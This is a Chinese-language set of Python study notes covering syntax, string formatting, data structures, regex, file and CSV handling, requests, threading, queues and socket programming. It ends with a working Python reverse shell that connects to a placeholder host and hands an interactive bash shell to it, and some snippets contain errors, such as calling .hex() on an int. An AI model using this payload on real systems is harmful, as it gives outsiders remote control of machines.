python基础

前言

Python提供了高效的高级数据结构，还能简单有效地面向对象编程，由于Python语言的简洁性、易读性以及可扩展性,以及解释型语言的本质，使其成为脚本的首选语言

基础语法

在python中，**表示幂运算，只需要在两数之间用上**，就表明这两个数字进行乘方运算；其中第一操作数为底数，第二个操作数则为指数。例如2**3可表示2的三次方，结果为8

处理异常

try:
    <语句> #运行的代码
except <名字>：
    <语句> #如果在try部份引发了’name’异常
except <名字>，<数据>:
    <语句> #如果引发了’name’异常，获得附加的数据
else:
    <语句> #如果没有异常发生

注释

# 单行注释

'''
第一类多行注释
'''

"""
第二类多行注释
"""

输入，输出

输出

• 普通输出

  #多行输出
  print("""
                  1
      """)
  
  #字符串的输出
  s="你是sb吗？"
  #  0 1 234 5
  #        -2-1
  print(s[-1])   #-1从结尾开始，方向相反
  print(s[0:6:2])#起始位置：上限：步长，且方向为正方向
  
  #一次输出多个值
  print ('当前字母为 :', letter,'当前变量值为 :', var)
  
  #f 转化
  a = 'apple'
  print(f'这里有{a}')
  >>>这里有apple

• format格式输出

  print("{}+{}={}".format(i,j,i+j),end=" ")#end默认为\n
  print("{0}+{1}={3}".format(i,j,i+j),end=" ")
  
  print("{:.2f}F".format(F))
  print("{:x<4d}F".format(10))#10xx
  print()#只输出换行

• 通过%实现格式输出

  >>> price = 24
  >>> item = "banana"
  >>> print("The %s costs %d cents" % (item, price))
  The banana costs 24 cents
  >>> print("The %+10s costs %10.2f cents" % (item, price))#+右对齐，-左对齐
  The      banana costs      24.00 cents
  >>> itemdict = {"item":"banana", "cost":24}
  >>> print("The %(item)s costs %(cost)7.1f cents" % itemdict)
  The banana costs     24.0 cents
  >>>
   

  输入

  str = input("请输入：");
  import sys
  #从标准输入读取一行
  line = sys.stdin.readline().strip()#它返回的是原始字符串，包括换行符（\n），因此通常需要使用 strip() 方法来去除换行符

数据结构

bytes

>>> type(b'\xe4\xba\xba\xe7\x94\x9f\xe8\x8b\xa6\xe7\x9f\xad\xef\xbc\x8c\xe6\x88\x91\xe7\x94\xa8Python!')
<class 'bytes'>
>>> type('人生苦短，我用Python!')
<class 'str'>
#相互转换
bytes = str.encode()#默认编码集是utf-8
str = bytes.decode()

int

#int goto char
>>> ord('A')
65
>>> chr(65)#输入和输出都为十进制
'A'
#int goto string
num = 10
val = hex(num)#转换成16进制形式0xa,但变为了
val = bin(num)
#int goto int
val = int('64', 16)#16 ->10
print(type(val), val)# 结果为 <class 'int'> 100

num = 100
hex_num = num.hex()#10 ->16
print(hex_num)  # 输出 '64'

字符串

str.isalpha()#检测字符串是否只由字母组成
str.isdigit()#检测字符串是否只由数字组成
str.isspace()#检测字符串是否只由空白字符组成

str = "00000003210Runoob01230000000"
print(str.strip('0')) # 去除首尾字符 0
str2 = "   Runoob      "
print(str2.strip())   #去除首尾空格
str=str.replace("http://","")
str_a in str_b	#str_a是否存在于str_b中

列表(访问列表中的值时与字符串类似)

#1.string转list
str = "Line1-abcdef \nLine2-abc \nLine4-abcd";
print str.split();       # 以空格为分隔符，包含 \n
print str.split(' ', 1 ); # 以空格为分隔符，只分隔成两个，不包含 \n
print str.splitlines() #按照行('\r', '\r\n', \n')分隔

# 2.list 管理
list = ['G', 'R', 97, 20]
sqlist=[x*x for x in range(1,11) if x%2!=0] #使用列表解析式创建列表

del list[2] #删除列表元素
3 in [1, 2, 3]	#元素3是否存在于列表中
for x in [1, 2, 3]: #迭代
list.append(123) #在列表末尾添加新的对象
lst.extend('56') #列表末尾一次性追加另一个序列中的多个值(添加前先强制类型转换列表)# 字符串
x=list.index("R") #查找元素的索引#1

values = list(map(int, line.split()))#利用map迭代对象中的每个元素,这里为str->int，并将返回的map转换为 list


#3.排序
aList = [123, 'xyz', 'zara', 'abc', 'xyz']
aList.reverse()# reverse反向#  aList = ['xyz', 'abc', 'zara', 'xyz', 123]

aList = ['Google', 'Runoob', 'Taobao', 'Facebook']
aList.sort() # 升序
aList.sort(reverse=True) # 降序

lst = [[5,8],[5,3],[3,1]]
lst.sort(key = lambda x : (x[1],x[0])) #以元素的第二个元素先升序排列，再以第一个元素升序排列
#lst = [[3,1],[5,3],[5,8]]

sort 与 sorted 区别：

sort 是应用在 list 上的方法，sorted 可以对所有可迭代的对象进行排序操作。

list 的 sort 方法返回的是对已经存在的列表进行操作，无返回值，而内建函数 sorted 方法返回的是一个新的 list，而不是在原来的基础上进行的操作。

元组(tuple)

元组与列表的区别在与元组中的元素值是不允许修改，删除，添加的，但我们可以对元组进行连接组合
list(seq)可将元组转换为列表
tuple = ("a", "b", "c")

注意直接采用{}，即s={}默认生成一个空字典;用s = set()创建一个空集合

字典(dict)

d = {key1 : value1, key2 : value2, key3 : value3 }
字典是一个无序、可变和有索引的集合，键必须是唯一的，但值则不必，值可以取任何数据类型，但键必须是不可变的，如字符串，数字。

for i in dishes:#可以直接遍历键
    print(i)

#dict.keys()、dict.values() 和 dict.items() 返回的都是视图对象（ view objects），提供了字典实体的动态视图
>>> dishes = {'eggs': 2, 'sausage': 1, 'bacon': 1, 'spam': 500}
>>> keys = dishes.keys()
>>> values = dishes.values()
>>> # keys 和 values 以相同顺序（插入顺序）进行迭代
>>>for i,j in dishes.items():#字典遍历
>>>    print(i, ":\t", j)

>>> list(keys)     # 使用 list() 转换为列表
['eggs', 'sausage', 'bacon', 'spam']
>>> list(values)
[2, 1, 1, 500]
>>> # 视图对象是动态的，受字典变化的影响，以下删除了字典的 key，视图对象转为列表后也跟着变化
>>> del dishes['eggs']
>>> del dishes['sausage']
>>> list(keys)
['bacon', 'spam']

添加，访问项目
通过使用新的索引键并为其赋值，可以将项目添加到字典中：
thisdict["disappear"] = "s"

get(key) 方法在 key（键）不在字典中时，可以返回默认值 None 或者设置的默认值。

# 没有设置 Sex，也没有设置默认的值，输出 None
print ("Sex : ", tinydict.get('Sex'))  
# 没有设置 Salary，输出默认的值  0.0
print ('Salary: ', tinydict.get('Salary', 0.0))

dict[key] 在 key（键）不在字典中时，会触发 KeyError 异常。

集合

parame = {value01,value02,...}
集合（set）是一个无序的不重复元素序列。

• 使用 add() 方法向 set 添加项目：
  s.add( x )
• 集合去重set(x)

python查询

Python正则表达式(re模块)

1. re.search
   re.search(pattern, string, flags=0)
   re.search 扫描整个字符串并返回第一个成功的匹配,匹配成功re.search方法返回一个匹配的对象，否则返回None。
   flag:
   re.I 忽略大小写
   re.L 表示特殊字符集 \w, \W, \b, \B, \s, \S 依赖于当前环境
   re.M 多行模式
   re.S 即为 . 并且包括换行符在内的任意字符（. 不包括换行符）
   re.U 表示特殊字符集 \w, \W, \b, \B, \d, \D, \s, \S 依赖于 Unicode 字符属性数据库
   re.X 为了增加可读性，忽略空格和 # 后面的注释

   line = "Cats are smarter than dogs"
   
   searchObj = re.search( r'(.*) are (.*?) .*', line, re.M|re.I)
   
   #grout文本属性，span位置属性
   print ("searchObj.group() : ", searchObj.group())    #Cats are smarter than dogs
   print ("searchObj.group(1) : ", searchObj.group(1))  #Cats
   print ("searchObj.group(2) : ", searchObj.group(2))  #smarter
   
   print(re.search('www', 'www.runoob.com').span())  #(0, 3)
   print(re.search('com', 'www.runoob.com').span())  #(11, 14)     

2. re.findall
   re.findall(pattern, string, flags=0)
   在字符串中找到正则表达式所匹配的所有子串，并返回一个列表，如果有多个匹配模式，则返回元组列表，如果没有找到匹配的，则返回空列表。
   result=re.findall(r'\w*?\d+|\w+|[\x21-\x2f]|[\x3A-\x40]',lines)#按照顺序匹配
str1=re.findall(r'\w{4}',str)

3. re.sub
   re.sub(pattern, repl, string, count=0, flags=0)
   替换字符串中的匹配项
   lines=re.sub(r'\\n\(\*.*?\*\)\\n','', lines)#去除注释

python文件

普通文本文件的读写

打开文件流

f=open(file='文件路径',mode='文件的操作方式',encoding='utf-8')
对文件操作
f.close()

with open(file='文件路径',mode='文件的操作方式',encoding='utf-8') as f:
    对文件的操作

r 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。
w 打开一个文件只用于写入。如果该文件已存在则覆盖该文件，即原有内容会被删除。如果该文件不存在，创建新文件。
a 以追加的方式写，如果该文件不存在，创建新文件。
r+ 在‘r’功能的基础上写
w+ 在‘w’功能的基础上读
wb+ 以二进制的形式写

read

f.read(size)
读取一定大小的数据, 然后作为字符串或字节对象返回
f.readlines()
将文件中所有的行，一行一行全部读入一个列表内，按顺序一个一个作为列表的元素，并返回列表。readlines方法会一次性将文件全部读入内存，所以也存在一定的弊端。但是它有个好处，每行都保存在列表里，可随意存取。

write

join()：可以将序列（也就是字符串、元组、列表、字典）中的元素以指定的字符连接生成一个新的字符串，
a=[‘I’,’love’,’China’,’!’]
f.write(‘\n’.join(a))
f.write(text)
使用write()可以完成向文件写入数据。
f.writelines(['','',''])
读取多段写入文本，需手动换行

csv文件的读写

#一次性写入多行
with open('person.csv', 'w', encoding='utf-8', newline='') as file_obj:
    # 1.创建对象
    writer = csv.writer(file_obj)
    # 2.写表头
    writer.writerow(header)#列表
    # 3.写入数据(一次性写入多行)
    writer.writerows(person)

#使用字典的方式将数据写入
with open('tieba.csv', 'w', encoding='UTF-8') as f:
    writer = csv.DictWriter(f, fieldnames=['username','地址', 'content', 'reply_time'])

    writer.writeheader()

    writer.writerows(result_list)

文件操作

• 使用os模块

1. 删除文件

   # 要删除的文件名
   filename1 = "1_msg1.txt"
   filename2 = "1_msg2.txt"
   # 删除文件
   os.remove(filename1)
   os.remove(filename2)

python request

get

# http代理，需要指定访问的http协议和https协议两种
proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:1080",
}
headers={
     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0'
}
response=requests.get(short,params={'media_id':media_id,'ps':'20','short':'0'},headers=headers, proxies=proxies)

# 查看响应内容，response.text 返回的是Unicode格式的数据
print(response.text)
 
# 查看响应内容，response.content返回的字节流数据
print(response.content)

# 如果是json文件可以直接显示
print(response.json())

post

data = {"upload":"Submit"}#值得注意的是，使用字典作为参数时，requests.post 方法默认会对请求参数进行 URL 编码
data = "key1=value&key2=value2"#以字符串的形式传递时，requests.post 方法就不会对请求参数进行编码
files = {
	"file": ("test.xlsx", open("D:\\test.xlsx", "rb"), "application/octet-stream")
}

#response = requests.post(url, json=data)传json
response = requests.post(url=url, data=data, files=files)#传参和文件

if response.status_code == 200:# 查看响应码
    print('Request succeeded!')

python 多线程

适用场景
I/O 密集型任务: 例如网络请求、文件操作等，适合使用多线程。
CPU 密集型任务: 对于 CPU 密集型任务，考虑使用多进程（ multiprocessing 模块），因为 GIL 限制了线程的并发性。

t1=threading.Thread(target=product,args=('wpp',))
t2=threading.Thread(target=consume,args=('ypp',))
t3=threading.Thread(target=consume,args=('others',))
 
t1.start()
t2.start()
t3.start()

t.join() #等待t线程执行完成,主线程才能接着往下进行
print(".....")

queue

q=queue.Queue(maxsize=0)#初始化,如果 maxsize 设置为小于或等于零，则队列的长度没有限制
q.Empty()
q.Full()
q.qsize() #返回队列中数据元素的个数

q.put(item, block=True, timeout=None)
"""
item，放入队列中的数据元素。
block，当队列中元素个数达到上限继续往里放数据时：
如果 block=False，直接引发 queue.Full 异常；
如果 block=True，且 timeout=None，则一直等待直到有数据出队列后可以放入数据；
如果 block=True，且 timeout=N，N 为某一正整数时，则等待 N 秒，如果队列中还没有位置放入数据就引发 queue.Full 异常。
timeout，设置超时时间。
"""

q.get(block=True, timeout=None)
q.task_done()#告诉生产者线程该任务已经完成，如果不使用 queue.task_done() 方法，生产者线程无法知道队列中的所有任务是否都已全部处理完毕

q.join()#等待队列完成所有任务,主线程才能接着往下进行
print(".....")

python socket 网络编程

服务端流程

import socket
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建套接字,socket.SOCK_STREAM：表示流式模块，基于tcp协议
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)   #设置端口重用，比如端口已经关闭了但是操作系统还没有释放，会提示端口占用
server.bind(('0.0.0.0',8000)) #绑定ip，端口
server.listen() #监听

print('staring....')
while True:  #连接循环
    conn , addr = server.accept()
    print(addr)
    while True:   #通信循环
        try:
            data = conn.recv(1024)   #1、单位：bytes 2、最大接收1024个bytes
            if not data:break   #适用于linux操作系统，如果客户端断开了连接,如果不处理在linux系统上，客户端断开后服务端就会进入的无限循环
            print('客户端的数据：',data.decode('utf8'))
            conn.send(data.upper())   #服务端接收到客户端的数据后，变成大写再返回给客户端
        except ConnectionResetError:     #适用于windows系统，如果客户端断开连接，在windows系统就会报ConnectionResetError的错误
            break
    conn.close()
server.close()

客户端流程

import socket

client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect(('127.0.0.1',8000)) #发起连接，服务端的ip和端口
while True:
    cmd = input(">>: ").strip() #去掉空格
    if not cmd:continue      #如果发的是空就进入下一次循环
    client.send(cmd.encode("gbk"))   #因为是在windows系统下，所以用gbk
    data = client.recv(1024)
    print(data.decode("gbk"))
client.close()

python反弹shell

import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('x.x.x.x',9383));
#下面操作程序会将所有的输入和输出重定向到远程主机，即从远程接收命令并将输出发送回去
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']); #启动一个交互式的 Bash shell